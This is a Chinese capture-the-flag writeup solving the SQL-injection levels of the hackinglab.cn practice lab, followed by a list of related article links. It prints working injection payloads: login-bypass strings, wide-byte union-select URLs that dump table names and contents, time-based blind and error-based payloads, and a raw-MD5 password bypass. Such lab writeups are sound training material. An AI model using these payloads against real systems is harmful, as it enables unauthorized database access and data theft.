网络安全实验室 注入关通关writeup
URL:http://hackinglab.cn
注入关
[1] 最简单的SQL注入
username = admin' or ''='
password随便什么都可以直接可以登录
[2] 熟悉注入环境
username = admin or 1=1
password 随便什么
[3] 防注入
根据响应头中返回的 charset=gb2312 ,猜测可能是一个宽字节注入,通过验证后开始正常的注入流程
注入字段长度
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by 3
得到字段长度为3。
得到显示位
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3
得到显示位是2,3
得到数据库表的信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
得到在当前数据库中仅仅存在一个表, sae_user_sqli4
得到字段信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=sae_user_sqli4)
得到在sae_user_sqli4表中有 id,title_1,content_1 3个字段。
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4)
就可以的得到Flag了。Flag:flag is here!
[4] 到底能不能回显
找到注入点,发现回显会多一个",1",并且"1"由num参数控制。并且不加num参数不提供报错,由此想到limit注入。
根据本地测试,找到注入方法
tip:如果不回显,利用方式如下:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,(1)),1))))),1)
[5] 邂逅
神坑。查看源代码,发现有参数ID。以为注入点就是ID。经过尝试,是ID的值使用了lstrip()函数,只去前面开头的数字。无思路后,查看了其他人的writeup,发现是图片注入,还是第一次见到。还是宽字节注入。找到注入点,开始常规的注入方法。
[6] ErrorBased
页面打不开
[7]
不难判断出参数username有注入。但是不管不注入正确与否的sql语句,总是返回正确的页面。不难想出基本时间的注入
' and if("1"="2",1,sleep(10))# 成功等待十秒
' and if(ascii(substr((select database()),{},1))>{}).format(n.nums)
成功构建payload。剩下的就是要脚本直接跑了
[8]SQL注入通用防护
打不开链接
[9]据说哈希后的密码是不能产生注入的
右键查看源代码
include "config.php"; if(isset($_GET['userid']) && isset($_GET['pwd'])){ $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"; $conn=mysql_connect($dbhost,$username,$pwd);
mysql_select_db($db,$conn);
$result=mysql_query($strsql);
print_r(mysql_error());
$row=mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row); echo "</pre>";
if($row!=null){
echo "Flag: ".$flag;
} }
else{
echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);
发现传入参数userid和pwd.对userid进行整形转化,pwd进行MD5加密。再到数据库中去数据,如果取出来,输出flag。感觉像是web弱类型绕过。
没有思路,最后看writeup。发现了这个
可以伪造成
select * from `user` where userid='1' and pwd = ''or'6É]™é!r,ùíb'
成功绕过。涨姿势。直接访问
网络安全实验室 注入关通关writeup的更多相关文章
- 网络安全实验室 脚本关通关writeup
[1]key又又找不到了查看源代码.发现key的路径,点击进行了302跳转,抓包,得到key [2]快速口算要2秒内提交答案,果断上python import requests,re s = requ ...
- 网络安全实验室_注入关writeup
最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...
- 网络安全实验室--SQL注入关
第一关 万能密码:username='or '1'='1'# password=1 即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union selec ...
- 网络安全实验室_上传关writeup
请上传一张jpg格式的图片 先传个图片码试试 我肯定乖嘛(#`Д´)ノ 气到改后缀 请上传一张jpg格式的图片 我猜是00截断,不信来试试 先在赋值1.php .jpg,接着去hex中找到空格改成00 ...
- 光棍节程序员闯关秀writeup
答题链接https://1111.segmentfault.com/ 第一关 首先当然是右键查看源码啊 点击链接进入下一关 第二关 还是老样子,右键查看源码 这个key是要放在URL链接里敲回车的 第 ...
- 《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent 题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...
- 网络信息安全攻防学习平台 上传,解密通关writeup
上传关 [1]查看源代码,发现JS代码.提交时onclick进行过验证.ctrl+shift+i 打开开发者工具,将conclick修改为 return True,即可以上传上传php文件,拿到KEY ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- #033 信安培训基础题Python解决网络安全实验室|网络信息安全攻防学习平台
第三题猜猜这是经过了多少次加密?分值: 200 加密后的字符串为:一大串 字符串最后面是= 所以是base64.b64decode编码究竟为啥有=就是base64咱也不知道 咱也不敢问咋解密也是从网上 ...
随机推荐
- 必应地图api文档,微软必应地图web开发版详解,可以在国内使用国外地图
最近,公司项目要求在页面中嵌入地图,需求还算简单,但是由于必须具备响应式(主要是pc和移动端),而且由于公司业务是全球性的,要支持国外地点搜索.考虑到百度,腾讯,高德等等国内地图无法显示国外数据,谷歌 ...
- Paxos 实现日志复制同步(Multi-Paxos)
Paxos 实现日志复制同步 这篇文章以一种易于理解的方式来解释 Multi-Paxos 的机制. Multi-Paxos 的是为了创建日志复制 一种实现方式是用一组基础 Paxos 实例,每条记录都 ...
- java中数组的排序,直接排序,冒泡排序,插入排序
1.直接排序: public static void selectSort(int[] arr) { for (int x = 0; x < arr.length - 1; x++) { for ...
- Jquery实现的几款漂亮的时间轴
引言 最近项目中使用了很多前端的东西,对于我一个做后台开发的人员,这是一个很好的锻炼的机会.经过这段时间的学习,感觉前端的东西太多了,太强大了,做出来的东西太炫酷了.现在有很多开源的前端框架,做的都非 ...
- javascript中对数据文本格式化的思考
在实际应用场景中,我们常常需将一些数据输出成更加符合人类习惯阅读的格式. 保留小数点后面两位 在一些要求精度没有那么准确的场景下,我们可以直接通过Number.prototype.toFixed()来 ...
- 实现jul 日志重定向到 slf4j
需求背景 jul 指的是java.util.logging,是 java 内置的日志模块,目前流行的Java日志组件还包括 jcl(common-logging).slf4j/log4j/logbac ...
- Javaweb程序服务器部署
话说从接触web后就想着写一个自己的站点然后别人都可以访问,这也是一个小目标吧,从之前在使用校园网的时候把自己的电脑当成服务器然后部署使用同学的电脑访问,现在想让所有人都可以访问,于是就花重金租了腾讯 ...
- Struts1文件上传、单文件、多文件上传【Struts1】
将struts1文件上传的操作汇总了一下,包括单文件上传和多文件上传,内容如下,留作备忘: Struts2实现文件上传的文章(http://blog.csdn.net/itwit/article/d ...
- 苹果手机上开发微信公众号(wap)遇到的问题解决方法
1.样式 苹果 手机会自行强制css样式,比如input会变得面目全非,你可以加上input{-webkit-appearance: none;}恢复原貌! 2.jquery的live错误,苹果手机上 ...
- C#100万条数据导入SQL SERVER数据库仅用4秒 (附源码)
作者: Aicken(李鸣) 来源: 博客园 发布时间: 2010-09-08 15:00 阅读: 4520 次 推荐: 0 原文链接 [收藏] 摘要: ...